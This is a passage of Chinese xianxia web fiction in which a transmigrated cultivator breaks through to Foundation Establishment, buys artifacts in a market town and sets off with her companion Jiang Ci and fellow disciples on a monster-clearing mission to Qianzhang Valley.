大约一千年前,修真界内爆发过一次正邪之战,千嶂谷便是这最后决战的战场。 据说那一战险恶,天地都为之变色,双方皆死伤无数,千嶂谷内更是尸横遍野。虽然最后正道修士险险取胜,但也元气大伤。仅剩的几位修真大能俱都闭关疗伤,因而未能及时让人到千嶂谷清理那些邪修和魔修尸身。 等到多年后修真界终于恢复生息,众人再注意到千嶂谷时,却是因为从千嶂谷中跑出去在凡间作乱的,无数因被邪气和魔气侵染而失去理智的妖兽。 这之后,修真界众人便在当时凌云宗宗主的带领之下,在千嶂谷内清扫数年,并布下空间封印大阵,这才压下了千嶂谷中那些不断滋生的妖邪之气。 自此,凌云宗老祖便将宗门建在了千嶂谷附近,并主动承担了定期清理千嶂谷内妖兽的重任。 千年过去,千嶂谷内妖兽数量虽大减,但仍有一些从千年前的剿灭中幸存下来的妖兽,修炼到如今,都几乎已经是五阶妖兽了。不遇上还好,一遇上,那可真就是一场苦战。 而原文中,姜辞就是在这次任务时遇到了五阶妖兽受了重伤,当然也是因为遭遇了这五阶妖兽,她才和慕言蘅并肩作战的机会,二人才在之后有了更深的交集。 不管是为了凤灵兰,还是为了姜辞那圆满的爱情,这次的千嶂谷之行对虞知鸢来说势在必行。 但她努力去回忆,却楞是想不起来原文中姜辞在千嶂谷遇到是什么五阶妖兽。 是她没太注意?还是原文中没提过? 可这么重要的剧情,文中怎么会没有提起过呢? 正走神的时候,虞知鸢突地感觉到腿一沉,而后一个毛绒绒的尾巴便蹭上了她的手腕。 她指尖微微蜷缩,一垂眸,便见毛团子抬起头瞧了瞧她,在她腿上窝了个舒服的位置趴下了。 近来姜辞对毛团子的看管力度日渐松弛,每到日落西山,毛团子就跑到她屋中,也不见姜辞再把它揪回去。 山中夜间多寒霜,虽有灵气护体,虞知鸢倒也不排斥多个暖手宝,她揉了揉毛团子的下巴,而后抬手挥灭屋中烛火,端坐榻上闭目修炼。 没办法啊。 千嶂谷里那么危险,姜辞的灵脉一日不好,她也只能自己加紧修炼,也好在遇到那只五阶妖兽时做姜辞最坚实的后盾,至于慕言蘅…… 毕竟男人哪有闺蜜可靠啊。 /// 中阙峰后山。 琉璃灵池。 “咻咻咻”的破空声伴随着流云鞭不断的挥动,在琉璃池上空往复不歇。 接连练了好几套鞭法,虞曦云才喘着气停下来。 她实在不明白,大家相安无事不好吗? 都这么多年了,那个虞知鸢好好待在外门不行吗?她为什么还要出现在爹爹面前,明明她的存在只是一个错误,不是吗? 还有大师兄,为什么要帮一个外人呢?他虽未严词责备她,话语间却透露出一种像是失望的语气。 他说她行事鲁莽,可她这么做,也只是想为他出口气啊。 他们为什么都不理解她呢? 是了,都是因为虞知鸢,要不是她,爹爹和大师兄一定不会这样对她。 说不定……说不定这一切都是她算计的,还有那个姜辞,那日肯定是她故意言辞诱惑,才让幻妖盯上她…… 这样的人怎么能留在凌云宗呢? 虞曦云收起鞭子,望着池边的红枫叶顺着方才鞭子带起的风打了几个旋,晃晃悠悠落到琉璃池中。 忽然一道灵力荡过,将那即将落到水面上的枫叶带起,悬在虞曦云面前。 她一怔,尚未反应过来时,身后紧接着便传来一道不急不缓的声音: “或许让那两人离开凌云宗,一切就可以回到从前。 “我想,这对师姐、对宗主和大师兄,应当都是件好事。” /// 晨曦微露。 一片淡色的金光绚丽,透过窗框的间隙洒进屋内,同虞知鸢身上逸散开的点点灵气融合到一处。 淡淡的、飘缈的微光,绕着身体环行一周,再次被吸纳进她的身体。 渐渐地,虞知鸢自己也能感觉到四周汇聚而来的灵气缭绕在她周身 ,又被吸纳入经脉之中,仿佛水流一般一遍又一遍流淌而过。 经脉变得越来越通畅,毫无阻滞感觉,丹田之处内力不停旋转汇聚成一股温暖的热意,又缓缓扩散,蔓延全身。 随着这个过程周而复始,外界传入她耳内的声音亦大了许多,便是不睁眼,她也发现自己竟能看得见周身的景象。 这种感觉很是新奇,应当是因为她的修为已经跨入了一个新的阶段,不过虞知鸢没兴奋一会儿,又什么都看不见了。 看来还不大稳固,她心道,还是得再努力一些。 她顺手团了团毛团子那毛绒绒的尾巴,才又重新收敛心神。 另一厢,姜辞在同一时间睁开了眼。 他轻轻吸了口气,侧眸望向窗外。 外头天光乍亮,初起的阳光洒在山巅云雾之中,朝霞似彩。 他眯了眯眼,透过那一片绚丽的朝霞,看到飘渺的灵光不断带起微风,撩起她额前的碎发,白皙柔嫩的脸颊被灵光镀上一层朦朦的光,一点点小晕红从雪透的肌肤中透出,莹莹玉润,柔和又动人。 姜辞喉头轻动,回过神来时,才压住了那点略有些肆无忌惮的目光,再次闭上了眼。 虞知鸢踏出房门时,日头已经高升。 她兴冲冲跑到姜辞房间,在他面前转了一圈儿后,眼巴巴地看住了他。 “有没有觉得我哪里不一样?” 大概是压抑不住成功筑基的兴奋,连语调都透出浓浓的喜悦。 姜辞抿唇,抬手掐了下她的脸颊,然后才道:“恭喜师姐筑基。” 虞知鸢一双眼睛都弯成了月牙,等兴奋劲过去,才拉着姜辞往任务堂去。 姜辞:“师姐要去千嶂谷?” 虞知鸢点头:“对啊。” 姜辞顿了下,状似随意道:“千嶂谷中妖兽难缠,十分危险。” 虞知鸢还是点头:“我知道啊。” 姜辞沉默了下,又接着道:“听说凌云宗每回派人去清扫,都有人死在里面。” 虞知鸢闻言,不解地侧眸望向姜辞:“我知道啊,你说的这些上回执事长老都说过了。” 千嶂谷内危险重重,因而每一回组织弟子前去清扫时都以自愿为主,除非是真的没人愿意去了,长老们才会下令指定弟子前去,但这种情况几乎没有发生过。 修士修炼最重要的一环便是历练,不历练不成仙嘛,即便历练途中丢了命,那也只能承认是自己没有仙缘。 而去千嶂谷内除妖兽,对大多数弟子来说都是一次非常难得的历练机会。况且千嶂谷处于封禁大阵内,长久无人涉足的地方,灵草宝物自然比外头多得多。 除非是真的实力不够,多数弟子也都想进去碰碰运气,若是运气好捡到个什么宝物,那可不就赚大发了。 姜辞目光扫过她兴致勃勃的面孔,低声道:“也不是那么容易就能找到宝物的。” 虞知鸢咂咂嘴道:“其实我也不是那么想要宝物,但千嶂谷里面有凤灵兰啊,可以治你灵脉的。” 姜辞眼底越过一点光芒。 他盯着虞知鸢,心道,原来她是为了我才要去千嶂谷。 但他其实并不需要凤灵兰来修复灵脉,他修的道,也并不是她所希望他修的道。她自然更不需要为了他去千嶂谷冒险。 可话到嘴边,还是被他咽了回去。 “好。”片刻后,只听姜辞道。 第34章 第34章“现在是师姐的了。”…… 一炷香后。 虞知鸢和姜辞来到了任务堂。 “姜师妹也要去?”负责登记的弟子略带疑惑道。 倒不是他瞧不起姜辞如今依旧炼气三阶的修为,只是那千嶂谷危险,如此的修为,和去送命又有什么差别? “她不能去吗?”虞知鸢疑惑道:“去千嶂谷还有修为的限制?” “那倒没有,只是怕姜师妹进千嶂谷,会有些危险。”那弟子顿了顿,指着登记簿道:“如果姜师妹真的要去的话,便也签上自己的名字吧。” 虞知鸢侧眸去瞧姜辞。 姜辞从她手里接过笔,在虞知鸢的名字后头写下了自己的名字。最后一笔落下后,他才道:“无妨。” 那弟子见状也不再劝,转而道:“此次报名前去千嶂谷的弟子人数众多,明日或需带队师兄师姐择签,若是抽中,会通知二位。” 虞知鸢点点头,转头便带姜辞收拾起了进谷需要带的东西。 抽不中姜辞? 不可能的! 至于她,就算抽不中,她身为宗主的亲传弟子,总该有些特权吧? 不过虞知鸢并没有机会使用到这个特权,第二日一早,她便和姜辞一同收到了两日后进入千嶂谷除妖兽的任务消息。 她丢下通信玉牌,看了看自己储物袋,而后又马不停蹄拉着姜辞,直奔距离凌云宗不远的江都城。 江都城是一个凡人与修士共居的城镇,原先只是一座普通的小镇,因有凌云宗的庇护,甚少有妖邪侵扰,渐渐便有越来越多的凡人选择定居于此,也有修士会在城中出售一些自治的丹药符箓或是法器之类。 久而久之,这江都城便发展成了拓苍山一带最为繁华的地方。 虞知鸢要为进入千嶂山做准备,自己炼制的丹药符箓终究力量有限,就想着到将都城中采买一些,毕竟是保命的东西,她可不嫌多。 从山上御剑而下,不多久就看到了这座依山而建的城池。 城内商铺林立,茶楼、酒肆、当铺、拍卖行应有尽有,空地也挨挨挤挤摆满了摊铺,修士与凡人在街道中穿梭,端的是一片热闹景象。 虞知鸢自打穿到书里便一直待在凌云宗内,这还是第一次下山,难免看什么都新奇。 只是等逛完一圈儿,储物袋里的东西却没多多少,不是因为没看入眼的,而是因为…… 穷啊…… 她怎么能这么穷呢? 数着自己为数不多的几块灵石,虞知鸢看了眼面前一座三层的华丽阁楼,一咬牙,跨了进去。 与她在路边摊买的丹药符箓不同,这座叫做玲珑宝阁的店铺售卖的都是炼器宗弟子炼制的法器。背靠炼器宗,自然比外头散修支的摊子看上去正规得多。 才一进门,就有人迎了上来。 “二位仙子可是要看看法器?咱们店里各式各样的法器都有,二位是需要防御型的还是攻击型的?刀枪剑戟,斧钺勾叉,或者是鞭、锏、绫?” 虞知鸢打眼一瞧,就知道这些法器不便宜,但来都来了,就算买不起,长长见识也行啊。 她老神在在地一挥手:“不必,我们自己看就行。” 这话才刚落下,一侧楼梯上忽然传来了些动静。 虞知鸢无意间抬眸,便瞧见了一道腰间系着鞭子的熟悉人影。 好家伙!冤家路窄啊这是! 那边虞曦云也看见了她。 奇怪的是,这回虞曦云只是楞了楞,很快便若无其事移开了目光,仿佛不认识她们。 她不找事,虞知鸢也乐得不搭理她,勿自指着搁在柜台上的一个玉戒问姜辞道:“你看这像不像隐息戒?” 隐息是在问心阵时,虞知鸢从遥光那顺来的可以隐匿身形和气息的法器,若是在千嶂谷中遇到打不过的妖兽,这样的法器简直就是保命神器。 可惜问心阵里的一切到底只是一场幻境,一从里头出来就啥都没有了。 提起这茬,虞知鸢便又想起这两日整理储物袋时,看到的那颗躺在角落的从界域骨镜中带出来的玄羽雪雕蛋。 按理来说界域骨镜投射出的应当也只是幻境,怎的这颗蛋一直没有消失…… “仙子好眼光,这玉戒名绝世戒,乃是隐息戒经过重新炼制而成的一款防御法器。”店铺 侍者的声音蓦地响起,打断了虞知鸢的思绪。 她侧眸瞧了眼楼梯处,已经没了虞曦云的身影。 一旁的侍者见她似乎对这玉戒感兴趣,立刻开始极力推荐:“仙子知道隐息戒,定然也了解隐息戒的不足之处,而这绝世戒却可以创造出一方完全与世隔绝的天地,便是碎虚期的修士也无法察觉。虽然范围也有限制,但容纳三个成人也不成问题。” 好是好,可就凭她兜里少得可怜的几块灵石,又哪里买的起呢。 虞知鸢悄悄在心里叹息着,却听耳旁姜辞的声音忽然响起。 “包起来吧。” 虞知鸢赶紧给她传音:“我身上灵石不够。” 姜辞面无表情从储物袋中取出一物。 那是一枚极品灵玉。 别人或许不认识这玉,虞知鸢却是见过的。 那是在问心阵中时,挂在姜朝晖腰间,代表着姜氏家主身份的灵玉。 立在一旁的侍者也是见过好东西的。修真界中灵玉有许多,但极品灵玉却极少。 只单看这枚灵玉如冰晶般澄澈透明,灵玉内部更有丝丝灵光在缓缓流动,足见其品质有多高,怕是整个修真界中都少见,用来换一个绝世戒,倒是绰绰有余了。 只是这事到底不是他能决定的,便与二人说了声,到后面告知了掌柜。 虞知鸢抬眸去瞧姜辞,“你要拿它付钱么?” 见姜辞点头,她忍不住皱了皱眉心,“但这东西到底是……” 她顿了下,忽然不知道接下去该怎么说。 说这灵玉代表了姜氏家主的身份吗? 可上一任的姜氏家主实在没给她留下什么好印象,更不要说姜辞了,那可是是实实在在想要姜辞命的人。 说让姜辞留个念想吗? 姜氏早就灭了门,还是姜辞亲手灭的,就算留下来,在姜辞心里这恐怕也不是念想吧。 姜辞像是听出了她话中的未尽之意,淡淡道:“一枚灵玉罢了,留在我身上也别无用处,还不如换点有用的。” 虞知鸢眼巴巴地看着灵玉。 怎么会没用呢? 越是珍贵的灵玉,聚灵效果就越好,佩戴上这枚灵玉,修行起来那那可是事半功倍的,这样的好东西在修真界中甚至比凤灵兰还抢手得多,多少人想要都要不到呢。 当然了,姜辞现在灵脉尚未修复确实还用不着,但她灵脉总会有修复的一天的嘛。 这么耽搁了一会儿,掌柜已经从里头亲自出来了。 看到这枚灵玉时,脸上抑制不住地露出一抹惊讶之色。 “仙子这枚灵玉乃是极品灵玉,便是我这半屋子法器,恐怕也比不上它的价值,用来换绝世戒倒是可惜了。” 虞知鸢闻言心道,没想到这掌柜还是个实诚人,竟没有趁火打劫。 她又哪里知道,这掌柜本就是炼器宗一外门弟子,又眼尖得很,早瞧见了她身上挂着的凌云宗弟子令牌,尤其这令牌与平日常见的还不尽相同,又听闻虞宗主前段时间新收一亲传弟子,心中自是早有衡量。 再加上炼器阁一向与凌云宗交好,而玄机阁所在的江都城又背靠凌云宗,他是万万也不敢坑这两位的。 “那便罢了吧。”虞知鸢本就不知该怎么跟姜辞说,刚好掌柜这一套说辞就很合适,于是顺势道:“极品灵玉呢,换了怪可惜的。” 姜辞瞧她看着灵玉那亮晶晶的目光,滞了滞:“……嗯。” 掌柜也是个人精,自是乐意与这个凌云宗“大师姐”交好,立刻殷勤道:“二位仙子喜欢店内法器也是小店的荣幸,若是灵石未带够,也可以先把这绝世戒带走,他日再将灵石付清即可。” 他这边说完,虞知鸢都还没应话呢,一个穿着锦袍,容貌精致的男子便凑了上来,笑眯眯道:“哪里用得着赊账呢?我这有灵石,两位师姐拿去用便是。” 虞知鸢:“……你谁?” 男子从袖中掏出一块弟子玉牌,冲虞知鸢笑得那叫一个阳光灿烂:“我是南荣钰,同属中阙峰弟子,因拜师路途遥远,耽搁了些日子,这才未能及时赶上拜师礼。” 虞知鸢眨了眨眼。 玉牌是真的,只是南荣钰这名字…… 没听说过。 事实上,虞瀚玥的亲传弟子虽只有两个,但中阙峰上的弟子并不少,虞知鸢除了对原文里占有重要剧情的几个人物有印象,其余也只认识平日里经常接触到的少数几个弟子,至于其他人,她都是凭着弟子玉牌才能叫得出名字来。 而这自称南荣钰的家伙一身锦衣华服,不像中阙峰弟子,倒更像是凡间那些世家富贵公子。 只南荣这个姓,倒是有些特别,似乎原文中也提到过? 虞知鸢这边还茫然着,姜辞却是一错身挡住了南荣钰的视线。 “南荣是凡间弘昼国的皇姓吧。” 南荣钰闻言点点头,上下打量姜辞一圈,“这位是……姜师姐吧?” 姜辞没出声。 而另一边的虞知鸢经姜辞这么一提醒,立刻就想起来这个所谓“皇姓”的南荣是怎么回事了。 她们如今所在的这个世界被称为昆墟境,昆墟境内又分一洲两域,妖族居蛮荒妖域,魔族位于北冥魔域,人族则聚居在九曜洲内。 人族中,由凡人统治的各世俗国家背靠修真界内各大宗门,二者之间有着千丝万缕的联系。 每二十年,各凡人国家都会向修仙界各大宗门送来一批皇室子孙,无论资质,都会收入各宗门宗主座下,至于入门后的修行则全凭自己。若是在修真界内有所成,也可回到自己的国家效力,这也是二者之间默认下来的规矩。 这弘昼国,便是背靠凌云宗的凡间大国,那眼前这个自称“南荣钰”的人,想必就是最近一次送来的弘昼国的某位皇子了。 可即便如此,她们与这南荣钰素不相识,他这上赶着送灵石,怎么看怎么像是别有所图。 南荣钰见二人不说话,索性从储物袋里摸出一把灵石塞到掌柜手里:“把这玉戒包起来,还有我刚才看中的定身灯、青云罩,还有那个……那个什么伞。” 好家伙!这些可都是防御型法器,价格也不便宜,这个南荣钰可真够阔的。 但再阔,她们也不能白拿他的东西。 吃人嘴软,拿人手短,谁知道他到底打的什么主意。 虞知鸢赶紧从姜辞身侧探出头来:“那个绝世戒你自己留着吧,我们不要了。” 南荣钰没料到会被拒绝,停了一会儿,又转头看向姜辞:“姜师姐,我灵石多的是……” “不必。”姜辞冷着一张脸,抓着虞知鸢的手就往外头走。 南荣钰盯着二人的背影,扬着的笑脸瞬间垮了下去,一阵的唉声叹气,多失望似的。 “南荣公子,那这绝世戒还……”掌柜试探问道。 “要!刚才我说的一样不准落,另外再加一双神行靴,那个什么金光盾,全都装起来放我储物袋里!” 这头虞知鸢是不知道南荣钰有多豪横的,她只觉得今儿个自己也算是长见识了。这世上竟还有因为送不出礼,花不了钱而失落的人,可真是…… 人比人,气死人啊。 直到回到中阙峰姜辞的住处,虞知鸢都还在心里感慨人为何生而不平等。 她把买到的几张符箓塞到姜辞储物袋里,又交代她这两日好好歇息,才转身要走。 这时姜辞却拉住了她,又绕过她走到她跟前,而后微微俯首,将那块代表姜氏家主的极品灵玉栓在了她的腰间。 虞知鸢抓住了她的手:“做什么?” 姜辞避开她的手,等将灵玉牢牢系在了她的腰间,才掀起眼皮对上她的视线:“这灵玉于我无用,送师姐了。” 虞知鸢:“!!!” 这可是极品灵 玉啊!姜氏家主的象征啊! 她又是哪根葱哪根蒜,姜辞就这么轻飘飘的……送她了? 姜辞不知她想法,见她似乎并不高兴的样子,目光一顿,问道:“师姐不喜欢?” 虞知鸢眨巴着眼,实在说不出“不喜欢”这三个字来。 那可是极品灵玉,修真界中都没几块,有它辅助,修炼起来事半功倍的! “我不要,”虞知鸢伸手去解灵玉,“这是你的。” 但姜辞也不知道是怎么系的,她捣鼓了好一会也没弄下来。 下一瞬,微凉的指尖捏住了她。 “现在是师姐的了。” 第35章 第35章不问生死。 这枚极品灵玉到底还是挂在了虞知鸢的腰间。 等到两日后,她筑基一阶的修为已经在灵玉聚灵作用下完全稳固,并直奔筑基二阶而去了。 而这一日也是众弟子前往千嶂谷的日子。 虞知鸢在姜辞面前展示完自己的修炼成果,并再一次拍胸脯表示自己会一定会保护她后,才和姜辞一起前往任务堂与其他前往千嶂谷的弟子集合。 毛团子窝在姜辞床榻上,一双眼睛直勾勾看着她,正在它要往虞知鸢身上扑过来时,被一只手拎住了后颈皮,往床榻上一扔。 幸而毛团子身手灵活,半空中滚了圈儿,便稳稳落了下去。 虞知鸢十分不赞同地瞪了姜辞一眼。 怎么能对毛团子这么粗手粗脚呢,毛团子这么可爱。 但面对毛团子那满是希冀的目光,虞知鸢还是率先移开了目光,“那个,千嶂谷里太危险啦,你乖乖在这儿等我们回来。” 毛团子“嗷呜”一声,听着委屈巴巴的。 虞知鸢就是个吃软不吃硬的,见状一下就动摇了,立刻思考起带毛团子进千嶂谷的法子,“那要不……” “师姐,”姜辞打断她,“它的意思是说它会乖乖留在这里的。” 毛团子闻言,立刻就抬起了爪子,不料姜辞已经慢慢扭过脸来,微微眯起了眼睛。 “对吗?” 毛团子一顿,眨巴下眼睛,又舔了舔抬起的爪子,才乖乖窝回了床榻上。 虞知鸢:感觉……怪怪的? /// 虞知鸢和姜辞到任务堂的时候,广场上已经聚集了不少人。 一片深绿浅绿中,为首那个一身墨绿衣裳,周身气息冷冽萧肃的高大身形便愈发惹人注目。 此次前往千嶂山的弟子一共三十人,领头的正是慕言蘅。他的修为是年轻一辈弟子中最高的,又曾参与过上一次千嶂谷的清扫,作为领头人自然再合适不过。 此时他手中提着一柄乌沉沉的长剑,微微低下头,正与他身侧扬着脸的虞曦云说着什么。 二人姿态亲昵,远远瞧着,男俊女俏,俨若一对璧人。 虞知鸢这才惊觉自己这两日心思全用在修炼上,竟忘了为姜辞和慕言蘅的感情之路添砖加瓦,这下倒是让虞曦云钻了空子了! 她正要挤开人群,带姜辞到慕言蘅面前刷刷存在感,却感觉到腰间被一个力道扯了下。 脚步一顿,姜辞已经一个旋身挡在了她的身前。 “这极品灵玉到底还是太过惹眼,”姜辞指尖轻动,将灵玉取下来,直接拿过她的储物袋,把灵玉放了进去,“师姐可得收好,莫叫人瞧见。” 虞知鸢连连点头。 这确实是她疏忽了。 极品灵玉本就十分罕见,若是被人瞧见了,恐怕徒生事端。 姜辞很快便将她的储物袋系回她腰上,她下意识摸了一下,而后脑中忽地闪过一个疑问。 姜辞怎么知道打开我的储物袋的口诀? 这疑问只在脑海中一闪而过,虞知鸢还没来得及抓住这点思考,忽然一个人影闯入了她的视线。 南荣钰今日已换上了中阙峰弟子服,少了些富家公子的矜贵,一袭青衣的衬托之下,倒显出几分眉清目秀来。 只是他那直往别人跟前凑上去像是要献宝的做派,倒是和那日在玄机阁遇到她们时别无二致。 “他这是在做什么?”虞知鸢奇怪道。 旁边有相熟的师弟插声道:“那是弘昼国的十一皇子南荣钰,听说在来凌云宗拜师的路上遇到了妖怪,吓破了胆,这才迟了好些日子入门。” 他说到这里叹息一声,又唏嘘道:“这不来了还没两天呢,怕是怎么修炼都还没弄清楚呢就要进千嶂谷了。千嶂谷内危险重重,哪是他能应付得了的,他要不找人同他一道,怕是自己怎么死的都不知道。” 虞知鸢起了点兴趣,凑过去搭话道:“那他为什么还要报名去千嶂谷历练?” “嗐!那也不是他自己报名的啊!”那师弟又凑近虞知鸢一些,冷不丁撞到一个坚硬的身板,抬眸一瞧,原来是姜师妹不知什么时候也靠了过来。 他顿时觉得这姜师妹平日里瞧着冷冰冰不近人情的,原来竟也是个内心丰富的人。 是他眼拙了! 他立刻扯了下姜辞的袖子,示意他弯下点腰来。 姜辞顿了下,见另一边虞知鸢已经很自觉地围了过来,还同样用眼神示意他,这才弯了弯身子。 “师姐和师妹应该知道咱们凌云宗和弘昼国的关系吧?” 见虞知鸢点头,那弟子才又道:“那弘昼国每二十年就会送人来,可如今咱们宗门里却只有那南荣钰一人,师姐可是知道为何?” “是因为送来的人都……”虞知鸢想了想:“不问生死?” “正是!弘昼国送来的那些皇子皇女是必须要参加重大宗门任务的。而之前送来的那些,也皆都在宗门任务中身亡了。” 虞知鸢一顿,“一个活着回去的都没有吗?” “没有。” “那弘昼国皇室那边就没有对此有异议?” “他们哪里敢呢。即便是弘昼国皇室,说到底也都是些凡人,他们依附咱们云宗而强大,难道还要为了几个无足轻重的皇子皇女,举兵攻打咱们不成?” 那弟子说着,又瞧一眼南荣钰,叹了声:“即便他这般揣着法宝上赶着,也定是没有人愿意带他。” 虞知鸢跟着往南荣钰那边看过去,心里也大概明白众人为何不愿和南荣钰组队的原因。 毕竟换作是她,她也不想留一个注定要死,还可能拖后腿,死了可能还会招来不可预估的麻烦的人在身边。 更别说她现在还带着姜辞这个绝对不能出一点事的宝贝疙瘩呢。 这么耽搁了一会儿,那边慕言蘅和虞曦云也注意到了她们,二人举目望来,与虞知鸢对上了视线。 “虞师姐,姜师妹。” 身侧忽然传来林喻的声音。 虞知鸢侧眸望去。 不远处,他正朝她们走来。 他仍是那副逢人便笑的温润模样,走到她们身边,被没有注意到他的姜辞不小心推搡了一下也不在意,只朝二人微微颔首,道:“不知虞师姐和姜师妹可有与人组队?若是没有的话,不知我可否与你们一道?” 千嶂谷内妖兽多,有时还会碰上成群结队的妖兽,像蜂群鸟群之类,虽等阶不高,胜在数量多,很容易冲散人群。而一旦冲散,再遇上等阶高的妖兽,若是只有一人,那大概率就凉凉了。 因此进入千嶂谷的弟子很多都会选择组一个四五人的小队,在进入千嶂谷后,队员之间相互合作,尽可能待在一处,即便大队被冲散,小队成员在一起,遇到高阶妖兽时对付起来也更有把握。 虞知鸢原先想去抱慕言蘅大腿,但眼下看来,慕言蘅应当是要和虞曦云一道,而虞曦云,只怕是不会欢迎她们。 但要是林喻想与她们组队的话…… 还是算了吧。 只还没等她拒绝林喻,姜辞就先开口了。 “不用。”冷硬冷硬的。 林喻倒也没说什么,点了点头,从储物袋里拿出几张符箓:“我这里有一些符箓,千嶂谷中还不知会发生什么,师姐和师妹留着以防万一。” “不需要。” 依旧是那副冰冷的语调。 林喻似是叹了叹,眸色依旧温和,无奈将符箓塞给虞知鸢:“都是些低阶符箓,不费什么力气,师姐和师妹不必客气。” 虞知鸢垂眸瞧了眼,入目确实只是些追踪符、通信符之类的低阶符箓,在林喻这个主修阵法的人眼 中确实算不得什么。 “那也不需要。” 姜辞话音未落,符箓上似乎有一点极其细微的光点一闪,粘到了虞知鸢的指尖。 而后她只觉得手里一空,手便被姜辞握住了。 手里的符箓也已经被姜辞一把夺过,扔回了林喻怀里。 虞知鸢:“???” 姜辞捏住她的指尖细细看了看,并未有什么光点,也没有丝毫灵力的波动。 他又突地转过头,把方才那张似乎有光点的符纸从林喻手中扯回来。 这符只是一张普通的追踪符,用的是寻常开泰符纸,冷泉墨。 他不觉得方才是他眼花,但闭目感受片刻……除了封在符箓中的微薄灵力,并没有其他法力。 虞知鸢也不知道姜辞这又是在做什么,一会儿不要一会儿又去抢,这做派也委实有些……过于随性了。 转眸看向林喻的时候,她更是没错过林喻脸上一闪而逝的尴尬神色。 也是,她要是林喻,这会儿可就不只是尴尬和怔愣了。她就算不舍得把符箓扔姜辞脸上,怎么着也得阴阳她两句,回头高低还得再给她使几回绊子。 什么人啊这是…… 哦,是女主。 女主嘛,有点脾气,应该的。 她自己是个偏心的,另一边林喻倒真是个好脾气的,姜辞这般生硬没有礼貌也没有素质的言行,他竟也没说什么,停了会儿,慢条斯理把剩余的符箓收起来,还朝虞知鸢笑了下。 虞知鸢干咳一声,道:“多谢林师弟,我和师妹前两日已下山采买过一些符箓,千嶂谷中危险,这些符……剩下的符箓师弟自己留着用就是。” 林喻点点头,神色已经恢复一贯的温润,“既如此,虞师姐和姜师妹也要万事小心。” 说罢,他拂袖转身,背影很快融在人群中。 虞知鸢忍不住想到原文中,这林喻难道也是在姜辞这样的冷言冷语中,还对她爱得掏心掏肺?那他该不会是有什么特殊癖好吧? 等等,原文中……有写这些吗? 她怎么好像……记不大起来了? 这时身旁忽然火光一闪。 虞知鸢惊了下,再看过去,方才被姜辞抢过来的那枚符箓已然在她手中化成了灰。 虞知鸢:“……” 她这又是在做什么? 姜辞拈着手里的灰,闭目感受片刻,也依旧没从符纸上感受出半点异样。 少顷,他才睁开眼,拉过虞知鸢的手,问道:“可有不适?” 虞知鸢莫名其妙:“没有啊。” 姜辞抿唇,眉眼冰冷,将手里的灰一扬,不屑道:“就这样的东西,他也好意思拿出来送人。” 虞知鸢:“或许……这叫礼轻情意重?” 这句话不出所料,换来的是姜辞的一声冷哼。 这厢她们才说完话,那厢参与千嶂谷任务的弟子也都到的差不多了。 慕言蘅的声音在广场上悠悠响起:“各位师弟师妹出发千嶂谷的,各位收拾一二,核对过弟子令牌后,便随我启程吧。” 第36章 第36章“我没事,师姐让我靠一…… 千嶂谷就在拓苍山中,距离凌云宗并不远,御剑也不过半个时辰的事。 在任务堂过了一遍弟子令牌,一行人在慕言蘅的带领下,陆续御剑而起。 慕言蘅作为这次任务的领头人飞在最前头,却不是最吸引人视线的那一个。一行人中,尤以尚未学会御剑飞行的南荣钰最为夺目。 不仅因为他没有御剑,而是用了飞行法器一叶扁舟,与众人格格不入,更因为他即便乘着法器,也依旧飞得东倒西歪摇摇晃晃,好像下一秒就要从天上掉下去一样。 御剑在他身旁的弟子生怕一个不注意就被他牵连,一个个下意识加快了御剑速度,不多会儿便将他远远甩到了后头。 于是,他就这么睁着一双水汪汪的大眼睛,和原本在队伍最末的位置的人面面相觑上了。 “虞师姐!”南荣钰一副见到了救星的模样,张牙舞爪直朝着虞知鸢嚷嚷:“帮帮我!帮帮我!” 虞知鸢只觉得自己脑子里似乎都荡漾着他尖利声音的回音。 她看看一旁的姜辞,犹豫道:“要不然咱们就……” “师姐,我经脉疼得厉害,”姜辞闭了闭眼,眉头骤然拧紧,“师姐能带我一程吗?” 姜辞灵脉受损,便如一滔滔大江被淤泥堵得只能渗出水来,灵力自然无法在经脉内顺畅运转。有时还会因为修行时引入经脉灵气过多而造成逆流,致使经脉疼痛,内府空虚。 眼下这情况,兴许就是因为她要御剑调动灵气太过而造成的。 姜辞说完,身子一晃,人就向着虞知鸢的方向倒了过来。 虞知鸢吓了一跳,只来得及伸手环住她的腰。 但姜辞身形比平常女子实在是有些过于高大了,被她这么一带,险些两个人一起掉下去。 好不容易稳住身形,虞知鸢喘了口气,努力地挺直腰,把姜辞架起来,然后艰难地微仰头,结果就看到姜辞那张如玉一般的脸庞都白得几乎没有血色了,就连她虚虚搭在自己手背上的手指都冰凉得厉害。 虞知鸢跟着脸色一白,颤声叫她:“姜辞,你没事吧?” 姜辞低垂着头,苍白如纸的唇微微抿起,“我没事,师姐让我靠一靠就好。” 都这样了,那肯定是没法再自己御剑。 虞知鸢一边应声,一边又感觉到姜辞喷吐的气息落下来,弄得自己的耳朵痒痒的,她想要抬手捂一捂耳朵,但双臂都支撑着姜辞压过来的重量,实在腾不出手来。 “你能不能自己试着站起来些?” “我灵脉滞涩,内府灵气虚浮不沉,倒是叫师姐为难了。”姜辞敛下眼皮,瞧着她的耳朵越来越红,眸色也跟着黯了下去,“不如我就此折返回去就是,也免得拖累师姐。” 那怎么成?姜辞都不去她还去做什么…… 虞知鸢咬牙道:“没事没事,我就爱被你拖累……呃……我的意思是,你不会拖累我的。” “姜师姐怎么——啊啊啊!——虞师姐快帮帮我!帮帮我!帮帮我啊啊!” 虞知鸢这厢才勉强适应姜辞贴在自己身上,这时又听见南荣钰几乎喊破喉咙的声音,忍不住眼角微抽。 还没等她回头呢,就见那南荣钰死死扒在一叶扁舟上,正呈旋转式从她身后往前直冲而去。 按理说这一叶扁舟已经是飞行法器中最为稳当的一种了,也不知是怎么能被南荣钰给飞成螺旋镖的。 再这么下去,他要是手一脱力,从这么高的地方掉下去,保准要摔个肝脑涂地。 也不知道这虞瀚玥和弘昼国到底是怎么回事,就让一个才入门没两天的人去参加这样危险的任务,还不派人帮衬着点,这不纯纯让人去送死么。 虞知鸢忍不住皱了皱眉。 “姜辞你抱着点我。” 姜辞动了动唇:“师姐我……” 他反对的话还没说出口,虞知鸢就调动灵力加快了御剑速度,转瞬便追上了那几乎已经失控的法器。 南荣钰这会儿大半个身子都已经被甩到外头了,哭得眼泪鼻涕都糊了一脸,看到虞知鸢还以为自己是眼花了。 等感觉到身下的小舟依旧渐渐平稳下来,还依旧扒着小舟一阵阵的乱叫唤。 虞知鸢带着姜辞跃到小舟上,催动灵力控制小舟的飞行。 “南荣师弟。” 没反应。 “南荣师弟?”加大音量。 还是盖不住南荣钰的喊声。 “南荣钰!” 